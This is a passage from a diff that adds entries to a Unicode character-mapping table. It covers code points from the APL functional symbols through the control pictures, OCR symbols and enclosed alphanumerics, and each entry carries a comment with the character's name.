+ ["\u2349", "\u2349"], /* APL FUNCTIONAL SYMBOL CIRCLE BACKSLASH */
+ ["\u234A", "\u234A"], /* APL FUNCTIONAL SYMBOL DOWN TACK UNDERBAR */
+ ["\u234B", "\u234B"], /* APL FUNCTIONAL SYMBOL DELTA STILE */
+ ["\u234C", "\u234C"], /* APL FUNCTIONAL SYMBOL QUAD DOWN CARET */
+ ["\u234D", "\u234D"], /* APL FUNCTIONAL SYMBOL QUAD DELTA */
+ ["\u234E", "\u234E"], /* APL FUNCTIONAL SYMBOL DOWN TACK JOT */
+ ["\u234F", "\u234F"], /* APL FUNCTIONAL SYMBOL UPWARDS VANE */
+ ["\u2350", "\u2350"], /* APL FUNCTIONAL SYMBOL QUAD UPWARDS ARROW */
+ ["\u2351", "\u2351"], /* APL FUNCTIONAL SYMBOL UP TACK OVERBAR */
+ ["\u2352", "\u2352"], /* APL FUNCTIONAL SYMBOL DEL STILE */
+ ["\u2353", "\u2353"], /* APL FUNCTIONAL SYMBOL QUAD UP CARET */
+ ["\u2354", "\u2354"], /* APL FUNCTIONAL SYMBOL QUAD DEL */
+ ["\u2355", "\u2355"], /* APL FUNCTIONAL SYMBOL UP TACK JOT */
+ ["\u2356", "\u2356"], /* APL FUNCTIONAL SYMBOL DOWNWARDS VANE */
+ ["\u2357", "\u2357"], /* APL FUNCTIONAL SYMBOL QUAD DOWNWARDS ARROW */
+ ["\u2358", "\u2358"], /* APL FUNCTIONAL SYMBOL QUOTE UNDERBAR */
+ ["\u2359", "\u2359"], /* APL FUNCTIONAL SYMBOL DELTA UNDERBAR */
+ ["\u235A", "\u235A"], /* APL FUNCTIONAL SYMBOL DIAMOND UNDERBAR */
+ ["\u235B", "\u235B"], /* APL FUNCTIONAL SYMBOL JOT UNDERBAR */
+ ["\u235C", "\u235C"], /* APL FUNCTIONAL SYMBOL CIRCLE UNDERBAR */
+ ["\u235D", "\u235D"], /* APL FUNCTIONAL SYMBOL UP SHOE JOT */
+ ["\u235E", "\u235E"], /* APL FUNCTIONAL SYMBOL QUOTE QUAD */
+ ["\u235F", "\u235F"], /* APL FUNCTIONAL SYMBOL CIRCLE STAR */
+ ["\u2360", "\u2360"], /* APL FUNCTIONAL SYMBOL QUAD COLON */
+ ["\u2361", "\u2361"], /* APL FUNCTIONAL SYMBOL UP TACK DIAERESIS */
+ ["\u2362", "\u2362"], /* APL FUNCTIONAL SYMBOL DEL DIAERESIS */
+ ["\u2363", "\u2363"], /* APL FUNCTIONAL SYMBOL STAR DIAERESIS */
+ ["\u2364", "\u2364"], /* APL FUNCTIONAL SYMBOL JOT DIAERESIS */
+ ["\u2365", "\u2365"], /* APL FUNCTIONAL SYMBOL CIRCLE DIAERESIS */
+ ["\u2366", "\u2366"], /* APL FUNCTIONAL SYMBOL DOWN SHOE STILE */
+ ["\u2367", "\u2367"], /* APL FUNCTIONAL SYMBOL LEFT SHOE STILE */
+ ["\u2368", "\u2368"], /* APL FUNCTIONAL SYMBOL TILDE DIAERESIS */
+ ["\u2369", "\u2369"], /* APL FUNCTIONAL SYMBOL GREATER-THAN DIAERESIS */
+ ["\u236A", "\u236A"], /* APL FUNCTIONAL SYMBOL COMMA BAR */
+ ["\u236B", "\u236B"], /* APL FUNCTIONAL SYMBOL DEL TILDE */
+ ["\u236C", "\u236C"], /* APL FUNCTIONAL SYMBOL ZILDE */
+ ["\u236D", "\u236D"], /* APL FUNCTIONAL SYMBOL STILE TILDE */
+ ["\u236E", "\u236E"], /* APL FUNCTIONAL SYMBOL SEMICOLON UNDERBAR */
+ ["\u236F", "\u236F"], /* APL FUNCTIONAL SYMBOL QUAD NOT EQUAL */
+ ["\u2370", "\u2370"], /* APL FUNCTIONAL SYMBOL QUAD QUESTION */
+ ["\u2371", "\u2371"], /* APL FUNCTIONAL SYMBOL DOWN CARET TILDE */
+ ["\u2372", "\u2372"], /* APL FUNCTIONAL SYMBOL UP CARET TILDE */
+ ["\u2373", "\u2373"], /* APL FUNCTIONAL SYMBOL IOTA */
+ ["\u2374", "\u2374"], /* APL FUNCTIONAL SYMBOL RHO */
+ ["\u2375", "\u2375"], /* APL FUNCTIONAL SYMBOL OMEGA */
+ ["\u2376", "\u2376"], /* APL FUNCTIONAL SYMBOL ALPHA UNDERBAR */
+ ["\u2377", "\u2377"], /* APL FUNCTIONAL SYMBOL EPSILON UNDERBAR */
+ ["\u2378", "\u2378"], /* APL FUNCTIONAL SYMBOL IOTA UNDERBAR */
+ ["\u2379", "\u2379"], /* APL FUNCTIONAL SYMBOL OMEGA UNDERBAR */
+ ["\u237A", "\u237A"], /* APL FUNCTIONAL SYMBOL ALPHA */
+ ["\u237B", "\u237B"], /* NOT CHECK MARK */
+ ["\u237C", "\u237C"], /* RIGHT ANGLE WITH DOWNWARDS ZIGZAG ARROW */
+ ["\u237D", "\u237D"], /* SHOULDERED OPEN BOX */
+ ["\u237E", "\u237E"], /* BELL SYMBOL */
+ ["\u237F", "\u237F"], /* VERTICAL LINE WITH MIDDLE DOT */
+ ["\u2380", "\u2380"], /* INSERTION SYMBOL */
+ ["\u2381", "\u2381"], /* CONTINUOUS UNDERLINE SYMBOL */
+ ["\u2382", "\u2382"], /* DISCONTINUOUS UNDERLINE SYMBOL */
+ ["\u2383", "\u2383"], /* EMPHASIS SYMBOL */
+ ["\u2384", "\u2384"], /* COMPOSITION SYMBOL */
+ ["\u2385", "\u2385"], /* WHITE SQUARE WITH CENTRE VERTICAL LINE */
+ ["\u2386", "\u2386"], /* ENTER SYMBOL */
+ ["\u2387", "\u2387"], /* ALTERNATIVE KEY SYMBOL */
+ ["\u2388", "\u2388"], /* HELM SYMBOL */
+ ["\u2389", "\u2389"], /* CIRCLED HORIZONTAL BAR WITH NOTCH */
+ ["\u238A", "\u238A"], /* CIRCLED TRIANGLE DOWN */
+ ["\u238B", "\u238B"], /* BROKEN CIRCLE WITH NORTHWEST ARROW */
+ ["\u238C", "\u238C"], /* UNDO SYMBOL */
+ ["\u238D", "\u238D"], /* MONOSTABLE SYMBOL */
+ ["\u238E", "\u238E"], /* HYSTERESIS SYMBOL */
+ ["\u238F", "\u238F"], /* OPEN-CIRCUIT-OUTPUT H-TYPE SYMBOL */
+ ["\u2390", "\u2390"], /* OPEN-CIRCUIT-OUTPUT L-TYPE SYMBOL */
+ ["\u2391", "\u2391"], /* PASSIVE-PULL-DOWN-OUTPUT SYMBOL */
+ ["\u2392", "\u2392"], /* PASSIVE-PULL-UP-OUTPUT SYMBOL */
+ ["\u2393", "\u2393"], /* DIRECT CURRENT SYMBOL FORM TWO */
+ ["\u2394", "\u2394"], /* SOFTWARE-FUNCTION SYMBOL */
+ ["\u2395", "\u2395"], /* APL FUNCTIONAL SYMBOL QUAD */
+ ["\u2396", "\u2396"], /* DECIMAL SEPARATOR KEY SYMBOL */
+ ["\u2397", "\u2397"], /* PREVIOUS PAGE */
+ ["\u2398", "\u2398"], /* NEXT PAGE */
+ ["\u2399", "\u2399"], /* PRINT SCREEN SYMBOL */
+ ["\u239A", "\u239A"], /* CLEAR SCREEN SYMBOL */
+ ["\u239B", "\u239B"], /* LEFT PARENTHESIS UPPER HOOK */
+ ["\u239C", "\u239C"], /* LEFT PARENTHESIS EXTENSION */
+ ["\u239D", "\u239D"], /* LEFT PARENTHESIS LOWER HOOK */
+ ["\u239E", "\u239E"], /* RIGHT PARENTHESIS UPPER HOOK */
+ ["\u239F", "\u239F"], /* RIGHT PARENTHESIS EXTENSION */
+ ["\u23A0", "\u23A0"], /* RIGHT PARENTHESIS LOWER HOOK */
+ ["\u23A1", "\u23A1"], /* LEFT SQUARE BRACKET UPPER CORNER */
+ ["\u23A2", "\u23A2"], /* LEFT SQUARE BRACKET EXTENSION */
+ ["\u23A3", "\u23A3"], /* LEFT SQUARE BRACKET LOWER CORNER */
+ ["\u23A4", "\u23A4"], /* RIGHT SQUARE BRACKET UPPER CORNER */
+ ["\u23A5", "\u23A5"], /* RIGHT SQUARE BRACKET EXTENSION */
+ ["\u23A6", "\u23A6"], /* RIGHT SQUARE BRACKET LOWER CORNER */
+ ["\u23A7", "\u23A7"], /* LEFT CURLY BRACKET UPPER HOOK */
+ ["\u23A8", "\u23A8"], /* LEFT CURLY BRACKET MIDDLE PIECE */
+ ["\u23A9", "\u23A9"], /* LEFT CURLY BRACKET LOWER HOOK */
+ ["\u23AA", "\u23AA"], /* CURLY BRACKET EXTENSION */
+ ["\u23AB", "\u23AB"], /* RIGHT CURLY BRACKET UPPER HOOK */
+ ["\u23AC", "\u23AC"], /* RIGHT CURLY BRACKET MIDDLE PIECE */
+ ["\u23AD", "\u23AD"], /* RIGHT CURLY BRACKET LOWER HOOK */
+ ["\u23AE", "\u23AE"], /* INTEGRAL EXTENSION */
+ ["\u23AF", "\u23AF"], /* HORIZONTAL LINE EXTENSION */
+ ["\u23B0", "\u23B0"], /* UPPER LEFT OR LOWER RIGHT CURLY BRACKET SECTION */
+ ["\u23B1", "\u23B1"], /* UPPER RIGHT OR LOWER LEFT CURLY BRACKET SECTION */
+ ["\u23B2", "\u23B2"], /* SUMMATION TOP */
+ ["\u23B3", "\u23B3"], /* SUMMATION BOTTOM */
+ ["\u23B4", "\u23B4"], /* TOP SQUARE BRACKET */
+ ["\u23B5", "\u23B5"], /* BOTTOM SQUARE BRACKET */
+ ["\u23B6", "\u23B6"], /* BOTTOM SQUARE BRACKET OVER TOP SQUARE BRACKET */
+ ["\u23B7", "\u23B7"], /* RADICAL SYMBOL BOTTOM */
+ ["\u23B8", "\u23B8"], /* LEFT VERTICAL BOX LINE */
+ ["\u23B9", "\u23B9"], /* RIGHT VERTICAL BOX LINE */
+ ["\u23BA", "\u23BA"], /* HORIZONTAL SCAN LINE-1 */
+ ["\u23BB", "\u23BB"], /* HORIZONTAL SCAN LINE-3 */
+ ["\u23BC", "\u23BC"], /* HORIZONTAL SCAN LINE-7 */
+ ["\u23BD", "\u23BD"], /* HORIZONTAL SCAN LINE-9 */
+ ["\u23BE", "\u23BE"], /* DENTISTRY SYMBOL LIGHT VERTICAL AND TOP RIGHT */
+ ["\u23BF", "\u23BF"], /* DENTISTRY SYMBOL LIGHT VERTICAL AND BOTTOM RIGHT */
+ ["\u23C0", "\u23C0"], /* DENTISTRY SYMBOL LIGHT VERTICAL WITH CIRCLE */
+ ["\u23C1", "\u23C1"], /* DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH CIRCLE */
+ ["\u23C2", "\u23C2"], /* DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH CIRCLE */
+ ["\u23C3", "\u23C3"], /* DENTISTRY SYMBOL LIGHT VERTICAL WITH TRIANGLE */
+ ["\u23C4", "\u23C4"], /* DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH TRIANGLE */
+ ["\u23C5", "\u23C5"], /* DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH TRIANGLE */
+ ["\u23C6", "\u23C6"], /* DENTISTRY SYMBOL LIGHT VERTICAL AND WAVE */
+ ["\u23C7", "\u23C7"], /* DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL WITH WAVE */
+ ["\u23C8", "\u23C8"], /* DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL WITH WAVE */
+ ["\u23C9", "\u23C9"], /* DENTISTRY SYMBOL LIGHT DOWN AND HORIZONTAL */
+ ["\u23CA", "\u23CA"], /* DENTISTRY SYMBOL LIGHT UP AND HORIZONTAL */
+ ["\u23CB", "\u23CB"], /* DENTISTRY SYMBOL LIGHT VERTICAL AND TOP LEFT */
+ ["\u23CC", "\u23CC"], /* DENTISTRY SYMBOL LIGHT VERTICAL AND BOTTOM LEFT */
+ ["\u23CD", "\u23CD"], /* SQUARE FOOT */
+ ["\u23CE", "\u23CE"], /* RETURN SYMBOL */
+ ["\u23CF", "\u23CF"], /* EJECT SYMBOL */
+ ["\u23D0", "\u23D0"], /* VERTICAL LINE EXTENSION */
+ ["\u23D1", "\u23D1"], /* METRICAL BREVE */
+ ["\u23D2", "\u23D2"], /* METRICAL LONG OVER SHORT */
+ ["\u23D3", "\u23D3"], /* METRICAL SHORT OVER LONG */
+ ["\u23D4", "\u23D4"], /* METRICAL LONG OVER TWO SHORTS */
+ ["\u23D5", "\u23D5"], /* METRICAL TWO SHORTS OVER LONG */
+ ["\u23D6", "\u23D6"], /* METRICAL TWO SHORTS JOINED */
+ ["\u23D7", "\u23D7"], /* METRICAL TRISEME */
+ ["\u23D8", "\u23D8"], /* METRICAL TETRASEME */
+ ["\u23D9", "\u23D9"], /* METRICAL PENTASEME */
+ ["\u23DA", "\u23DA"], /* EARTH GROUND */
+ ["\u23DB", "\u23DB"], /* FUSE */
+ ["\u23DC", "\u23DC"], /* TOP PARENTHESIS */
+ ["\u23DD", "\u23DD"], /* BOTTOM PARENTHESIS */
+ ["\u23DE", "\u23DE"], /* TOP CURLY BRACKET */
+ ["\u23DF", "\u23DF"], /* BOTTOM CURLY BRACKET */
+ ["\u23E0", "\u23E0"], /* TOP TORTOISE SHELL BRACKET */
+ ["\u23E1", "\u23E1"], /* BOTTOM TORTOISE SHELL BRACKET */
+ ["\u23E2", "\u23E2"], /* WHITE TRAPEZIUM */
+ ["\u23E3", "\u23E3"], /* BENZENE RING WITH CIRCLE */
+ ["\u23E4", "\u23E4"], /* STRAIGHTNESS */
+ ["\u23E5", "\u23E5"], /* FLATNESS */
+ ["\u23E6", "\u23E6"], /* AC CURRENT */
+ ["\u23E7", "\u23E7"], /* ELECTRICAL INTERSECTION */
+ ["\u23E8", "\u23E8"], /* DECIMAL EXPONENT SYMBOL */
+ ["\u23E9", "\u23E9"], /* BLACK RIGHT-POINTING DOUBLE TRIANGLE */
+ ["\u23EA", "\u23EA"], /* BLACK LEFT-POINTING DOUBLE TRIANGLE */
+ ["\u23EB", "\u23EB"], /* BLACK UP-POINTING DOUBLE TRIANGLE */
+ ["\u23EC", "\u23EC"], /* BLACK DOWN-POINTING DOUBLE TRIANGLE */
+ ["\u23ED", "\u23ED"], /* BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR */
+ ["\u23EE", "\u23EE"], /* BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR */
+ ["\u23EF", "\u23EF"], /* BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR */
+ ["\u23F0", "\u23F0"], /* ALARM CLOCK */
+ ["\u23F1", "\u23F1"], /* STOPWATCH */
+ ["\u23F2", "\u23F2"], /* TIMER CLOCK */
+ ["\u23F3", "\u23F3"], /* HOURGLASS WITH FLOWING SAND */
+ ["\u23F4", "\u23F4"], /* BLACK MEDIUM LEFT-POINTING TRIANGLE */
+ ["\u23F5", "\u23F5"], /* BLACK MEDIUM RIGHT-POINTING TRIANGLE */
+ ["\u23F6", "\u23F6"], /* BLACK MEDIUM UP-POINTING TRIANGLE */
+ ["\u23F7", "\u23F7"], /* BLACK MEDIUM DOWN-POINTING TRIANGLE */
+ ["\u23F8", "\u23F8"], /* DOUBLE VERTICAL BAR */
+ ["\u23F9", "\u23F9"], /* BLACK SQUARE FOR STOP */
+ ["\u23FA", "\u23FA"], /* BLACK CIRCLE FOR RECORD */
+ ["\u23FB", "\u23FB"], /* POWER SYMBOL */
+ ["\u23FC", "\u23FC"], /* POWER ON-OFF SYMBOL */
+ ["\u23FD", "\u23FD"], /* POWER ON SYMBOL */
+ ["\u23FE", "\u23FE"], /* POWER SLEEP SYMBOL */
+ ["\u23FF", "\u23FF"], /* OBSERVER EYE SYMBOL */
+ ["\u2400", "\u2400"], /* SYMBOL FOR NULL (GRAPHIC FOR NULL) */
+ ["\u2401", "\u2401"], /* SYMBOL FOR START OF HEADING (GRAPHIC FOR START OF HEADING) */
+ ["\u2402", "\u2402"], /* SYMBOL FOR START OF TEXT (GRAPHIC FOR START OF TEXT) */
+ ["\u2403", "\u2403"], /* SYMBOL FOR END OF TEXT (GRAPHIC FOR END OF TEXT) */
+ ["\u2404", "\u2404"], /* SYMBOL FOR END OF TRANSMISSION (GRAPHIC FOR END OF TRANSMISSION) */
+ ["\u2405", "\u2405"], /* SYMBOL FOR ENQUIRY (GRAPHIC FOR ENQUIRY) */
+ ["\u2406", "\u2406"], /* SYMBOL FOR ACKNOWLEDGE (GRAPHIC FOR ACKNOWLEDGE) */
+ ["\u2407", "\u2407"], /* SYMBOL FOR BELL (GRAPHIC FOR BELL) */
+ ["\u2408", "\u2408"], /* SYMBOL FOR BACKSPACE (GRAPHIC FOR BACKSPACE) */
+ ["\u2409", "\u2409"], /* SYMBOL FOR HORIZONTAL TABULATION (GRAPHIC FOR HORIZONTAL TABULATION) */
+ ["\u240A", "\u240A"], /* SYMBOL FOR LINE FEED (GRAPHIC FOR LINE FEED) */
+ ["\u240B", "\u240B"], /* SYMBOL FOR VERTICAL TABULATION (GRAPHIC FOR VERTICAL TABULATION) */
+ ["\u240C", "\u240C"], /* SYMBOL FOR FORM FEED (GRAPHIC FOR FORM FEED) */
+ ["\u240D", "\u240D"], /* SYMBOL FOR CARRIAGE RETURN (GRAPHIC FOR CARRIAGE RETURN) */
+ ["\u240E", "\u240E"], /* SYMBOL FOR SHIFT OUT (GRAPHIC FOR SHIFT OUT) */
+ ["\u240F", "\u240F"], /* SYMBOL FOR SHIFT IN (GRAPHIC FOR SHIFT IN) */
+ ["\u2410", "\u2410"], /* SYMBOL FOR DATA LINK ESCAPE (GRAPHIC FOR DATA LINK ESCAPE) */
+ ["\u2411", "\u2411"], /* SYMBOL FOR DEVICE CONTROL ONE (GRAPHIC FOR DEVICE CONTROL ONE) */
+ ["\u2412", "\u2412"], /* SYMBOL FOR DEVICE CONTROL TWO (GRAPHIC FOR DEVICE CONTROL TWO) */
+ ["\u2413", "\u2413"], /* SYMBOL FOR DEVICE CONTROL THREE (GRAPHIC FOR DEVICE CONTROL THREE) */
+ ["\u2414", "\u2414"], /* SYMBOL FOR DEVICE CONTROL FOUR (GRAPHIC FOR DEVICE CONTROL FOUR) */
+ ["\u2415", "\u2415"], /* SYMBOL FOR NEGATIVE ACKNOWLEDGE (GRAPHIC FOR NEGATIVE ACKNOWLEDGE) */
+ ["\u2416", "\u2416"], /* SYMBOL FOR SYNCHRONOUS IDLE (GRAPHIC FOR SYNCHRONOUS IDLE) */
+ ["\u2417", "\u2417"], /* SYMBOL FOR END OF TRANSMISSION BLOCK (GRAPHIC FOR END OF TRANSMISSION BLOCK) */
+ ["\u2418", "\u2418"], /* SYMBOL FOR CANCEL (GRAPHIC FOR CANCEL) */
+ ["\u2419", "\u2419"], /* SYMBOL FOR END OF MEDIUM (GRAPHIC FOR END OF MEDIUM) */
+ ["\u241A", "\u241A"], /* SYMBOL FOR SUBSTITUTE (GRAPHIC FOR SUBSTITUTE) */
+ ["\u241B", "\u241B"], /* SYMBOL FOR ESCAPE (GRAPHIC FOR ESCAPE) */
+ ["\u241C", "\u241C"], /* SYMBOL FOR FILE SEPARATOR (GRAPHIC FOR FILE SEPARATOR) */
+ ["\u241D", "\u241D"], /* SYMBOL FOR GROUP SEPARATOR (GRAPHIC FOR GROUP SEPARATOR) */
+ ["\u241E", "\u241E"], /* SYMBOL FOR RECORD SEPARATOR (GRAPHIC FOR RECORD SEPARATOR) */
+ ["\u241F", "\u241F"], /* SYMBOL FOR UNIT SEPARATOR (GRAPHIC FOR UNIT SEPARATOR) */
+ ["\u2420", "\u2420"], /* SYMBOL FOR SPACE (GRAPHIC FOR SPACE) */
+ ["\u2421", "\u2421"], /* SYMBOL FOR DELETE (GRAPHIC FOR DELETE) */
+ ["\u2422", "\u2422"], /* BLANK SYMBOL (BLANK) */
+ ["\u2423", "\u2423"], /* OPEN BOX */
+ ["\u2424", "\u2424"], /* SYMBOL FOR NEWLINE (GRAPHIC FOR NEWLINE) */
+ ["\u2425", "\u2425"], /* SYMBOL FOR DELETE FORM TWO */
+ ["\u2426", "\u2426"], /* SYMBOL FOR SUBSTITUTE FORM TWO */
+ ["\u2427", "\u2427"],
+ ["\u2428", "\u2428"],
+ ["\u2429", "\u2429"],
+ ["\u242A", "\u242A"],
+ ["\u242B", "\u242B"],
+ ["\u242C", "\u242C"],
+ ["\u242D", "\u242D"],
+ ["\u242E", "\u242E"],
+ ["\u242F", "\u242F"],
+ ["\u2430", "\u2430"],
+ ["\u2431", "\u2431"],
+ ["\u2432", "\u2432"],
+ ["\u2433", "\u2433"],
+ ["\u2434", "\u2434"],
+ ["\u2435", "\u2435"],
+ ["\u2436", "\u2436"],
+ ["\u2437", "\u2437"],
+ ["\u2438", "\u2438"],
+ ["\u2439", "\u2439"],
+ ["\u243A", "\u243A"],
+ ["\u243B", "\u243B"],
+ ["\u243C", "\u243C"],
+ ["\u243D", "\u243D"],
+ ["\u243E", "\u243E"],
+ ["\u243F", "\u243F"],
+ ["\u2440", "\u2440"], /* OCR HOOK */
+ ["\u2441", "\u2441"], /* OCR CHAIR */
+ ["\u2442", "\u2442"], /* OCR FORK */
+ ["\u2443", "\u2443"], /* OCR INVERTED FORK */
+ ["\u2444", "\u2444"], /* OCR BELT BUCKLE */
+ ["\u2445", "\u2445"], /* OCR BOW TIE */
+ ["\u2446", "\u2446"], /* OCR BRANCH BANK IDENTIFICATION */
+ ["\u2447", "\u2447"], /* OCR AMOUNT OF CHECK */
+ ["\u2448", "\u2448"], /* OCR DASH */
+ ["\u2449", "\u2449"], /* OCR CUSTOMER ACCOUNT NUMBER */
+ ["\u244A", "\u244A"], /* OCR DOUBLE BACKSLASH */
+ ["\u244B", "\u244B"],
+ ["\u244C", "\u244C"],
+ ["\u244D", "\u244D"],
+ ["\u244E", "\u244E"],
+ ["\u244F", "\u244F"],
+ ["\u2450", "\u2450"],
+ ["\u2451", "\u2451"],
+ ["\u2452", "\u2452"],
+ ["\u2453", "\u2453"],
+ ["\u2454", "\u2454"],
+ ["\u2455", "\u2455"],
+ ["\u2456", "\u2456"],
+ ["\u2457", "\u2457"],
+ ["\u2458", "\u2458"],
+ ["\u2459", "\u2459"],
+ ["\u245A", "\u245A"],
+ ["\u245B", "\u245B"],
+ ["\u245C", "\u245C"],
+ ["\u245D", "\u245D"],
+ ["\u245E", "\u245E"],
+ ["\u245F", "\u245F"],
+ ["\u2460", "\u2460"], /* CIRCLED DIGIT ONE */
+ ["\u2461", "\u2461"], /* CIRCLED DIGIT TWO */
+ ["\u2462", "\u2462"], /* CIRCLED DIGIT THREE */
+ ["\u2463", "\u2463"], /* CIRCLED DIGIT FOUR */
+ ["\u2464", "\u2464"], /* CIRCLED DIGIT FIVE */
+ ["\u2465", "\u2465"], /* CIRCLED DIGIT SIX */
+ ["\u2466", "\u2466"], /* CIRCLED DIGIT SEVEN */
+ ["\u2467", "\u2467"], /* CIRCLED DIGIT EIGHT */
+ ["\u2468", "\u2468"], /* CIRCLED DIGIT NINE */
+ ["\u2469", "\u2469"], /* CIRCLED NUMBER TEN */
+ ["\u246A", "\u246A"], /* CIRCLED NUMBER ELEVEN */
+ ["\u246B", "\u246B"], /* CIRCLED NUMBER TWELVE */
+ ["\u246C", "\u246C"], /* CIRCLED NUMBER THIRTEEN */
+ ["\u246D", "\u246D"], /* CIRCLED NUMBER FOURTEEN */
+ ["\u246E", "\u246E"], /* CIRCLED NUMBER FIFTEEN */
+ ["\u246F", "\u246F"], /* CIRCLED NUMBER SIXTEEN */
+ ["\u2470", "\u2470"], /* CIRCLED NUMBER SEVENTEEN */
+ ["\u2471", "\u2471"], /* CIRCLED NUMBER EIGHTEEN */
+ ["\u2472", "\u2472"], /* CIRCLED NUMBER NINETEEN */
+ ["\u2473", "\u2473"], /* CIRCLED NUMBER TWENTY */
+ ["\u2474", "\u2474"], /* PARENTHESIZED DIGIT ONE */
+ ["\u2475", "\u2475"], /* PARENTHESIZED DIGIT TWO */
+ ["\u2476", "\u2476"], /* PARENTHESIZED DIGIT THREE */
+ ["\u2477", "\u2477"], /* PARENTHESIZED DIGIT FOUR */
+ ["\u2478", "\u2478"], /* PARENTHESIZED DIGIT FIVE */
+ ["\u2479", "\u2479"], /* PARENTHESIZED DIGIT SIX */
+ ["\u247A", "\u247A"], /* PARENTHESIZED DIGIT SEVEN */
+ ["\u247B", "\u247B"], /* PARENTHESIZED DIGIT EIGHT */
+ ["\u247C", "\u247C"], /* PARENTHESIZED DIGIT NINE */
+ ["\u247D", "\u247D"], /* PARENTHESIZED NUMBER TEN */
+ ["\u247E", "\u247E"], /* PARENTHESIZED NUMBER ELEVEN */
+ ["\u247F", "\u247F"], /* PARENTHESIZED NUMBER TWELVE */
+ ["\u2480", "\u2480"], /* PARENTHESIZED NUMBER THIRTEEN */
+ ["\u2481", "\u2481"], /* PARENTHESIZED NUMBER FOURTEEN */
+ ["\u2482", "\u2482"], /* PARENTHESIZED NUMBER FIFTEEN */
+ ["\u2483", "\u2483"], /* PARENTHESIZED NUMBER SIXTEEN */
+ ["\u2484", "\u2484"], /* PARENTHESIZED NUMBER SEVENTEEN */
+ ["\u2485", "\u2485"], /* PARENTHESIZED NUMBER EIGHTEEN */
+ ["\u2486", "\u2486"], /* PARENTHESIZED NUMBER NINETEEN */
+ ["\u2487", "\u2487"], /* PARENTHESIZED NUMBER TWENTY */
+ ["\u2488", "\u2488"], /* DIGIT ONE FULL STOP (DIGIT ONE PERIOD) */
+ ["\u2489", "\u2489"], /* DIGIT TWO FULL STOP (DIGIT TWO PERIOD) */
+ ["\u248A", "\u248A"], /* DIGIT THREE FULL STOP (DIGIT THREE PERIOD) */
+ ["\u248B", "\u248B"], /* DIGIT FOUR FULL STOP (DIGIT FOUR PERIOD) */
+ ["\u248C", "\u248C"], /* DIGIT FIVE FULL STOP (DIGIT FIVE PERIOD) */
+ ["\u248D", "\u248D"], /* DIGIT SIX FULL STOP (DIGIT SIX PERIOD) */
+ ["\u248E", "\u248E"], /* DIGIT SEVEN FULL STOP (DIGIT SEVEN PERIOD) */
+ ["\u248F", "\u248F"], /* DIGIT EIGHT FULL STOP (DIGIT EIGHT PERIOD) */
+ ["\u2490", "\u2490"], /* DIGIT NINE FULL STOP (DIGIT NINE PERIOD) */
+ ["\u2491", "\u2491"], /* NUMBER TEN FULL STOP (NUMBER TEN PERIOD) */
+ ["\u2492", "\u2492"], /* NUMBER ELEVEN FULL STOP (NUMBER ELEVEN PERIOD) */
+ ["\u2493", "\u2493"], /* NUMBER TWELVE FULL STOP (NUMBER TWELVE PERIOD) */
+ ["\u2494", "\u2494"], /* NUMBER THIRTEEN FULL STOP (NUMBER THIRTEEN PERIOD) */
+ ["\u2495", "\u2495"], /* NUMBER FOURTEEN FULL STOP (NUMBER FOURTEEN PERIOD) */
+ ["\u2496", "\u2496"], /* NUMBER FIFTEEN FULL STOP (NUMBER FIFTEEN PERIOD) */
+ ["\u2497", "\u2497"], /* NUMBER SIXTEEN FULL STOP (NUMBER SIXTEEN PERIOD) */
+ ["\u2498", "\u2498"], /* NUMBER SEVENTEEN FULL STOP (NUMBER SEVENTEEN PERIOD) */
+ ["\u2499", "\u2499"], /* NUMBER EIGHTEEN FULL STOP (NUMBER EIGHTEEN PERIOD) */
+ ["\u249A", "\u249A"], /* NUMBER NINETEEN FULL STOP (NUMBER NINETEEN PERIOD) */
+ ["\u249B", "\u249B"], /* NUMBER TWENTY FULL STOP (NUMBER TWENTY PERIOD) */
+ ["\u249C", "\u249C"], /* PARENTHESIZED LATIN SMALL LETTER A */
+ ["\u249D", "\u249D"], /* PARENTHESIZED LATIN SMALL LETTER B */
+ ["\u249E", "\u249E"], /* PARENTHESIZED LATIN SMALL LETTER C */
+ ["\u249F", "\u249F"], /* PARENTHESIZED LATIN SMALL LETTER D */
+ ["\u24A0", "\u24A0"], /* PARENTHESIZED LATIN SMALL LETTER E */
+ ["\u24A1", "\u24A1"], /* PARENTHESIZED LATIN SMALL LETTER F */
+ ["\u24A2", "\u24A2"], /* PARENTHESIZED LATIN SMALL LETTER G */
+ ["\u24A3", "\u24A3"], /* PARENTHESIZED LATIN SMALL LETTER H */
+ ["\u24A4", "\u24A4"], /* PARENTHESIZED LATIN SMALL LETTER I */
+ ["\u24A5", "\u24A5"], /* PARENTHESIZED LATIN SMALL LETTER J */
+ ["\u24A6", "\u24A6"], /* PARENTHESIZED LATIN SMALL LETTER K */
+ ["\u24A7", "\u24A7"], /* PARENTHESIZED LATIN SMALL LETTER L */
+ ["\u24A8", "\u24A8"], /* PARENTHESIZED LATIN SMALL LETTER M */
+ ["\u24A9", "\u24A9"], /* PARENTHESIZED LATIN SMALL LETTER N */
+ ["\u24AA", "\u24AA"], /* PARENTHESIZED LATIN SMALL LETTER O */
+ ["\u24AB", "\u24AB"], /* PARENTHESIZED LATIN SMALL LETTER P */
+ ["\u24AC", "\u24AC"], /* PARENTHESIZED LATIN SMALL LETTER Q */
+ ["\u24AD", "\u24AD"], /* PARENTHESIZED LATIN SMALL LETTER R */
+ ["\u24AE", "\u24AE"], /* PARENTHESIZED LATIN SMALL LETTER S */
+ ["\u24AF", "\u24AF"], /* PARENTHESIZED LATIN SMALL LETTER T */
+ ["\u24B0", "\u24B0"], /* PARENTHESIZED LATIN SMALL LETTER U */
+ ["\u24B1", "\u24B1"], /* PARENTHESIZED LATIN SMALL LETTER V */
+ ["\u24B2", "\u24B2"], /* PARENTHESIZED LATIN SMALL LETTER W */
+ ["\u24B3", "\u24B3"], /* PARENTHESIZED LATIN SMALL LETTER X */
+ ["\u24B4", "\u24B4"], /* PARENTHESIZED LATIN SMALL LETTER Y */
+ ["\u24B5", "\u24B5"], /* PARENTHESIZED LATIN SMALL LETTER Z */
+ ["\u24B6", "\u24D0"], /* CIRCLED LATIN CAPITAL LETTER A */
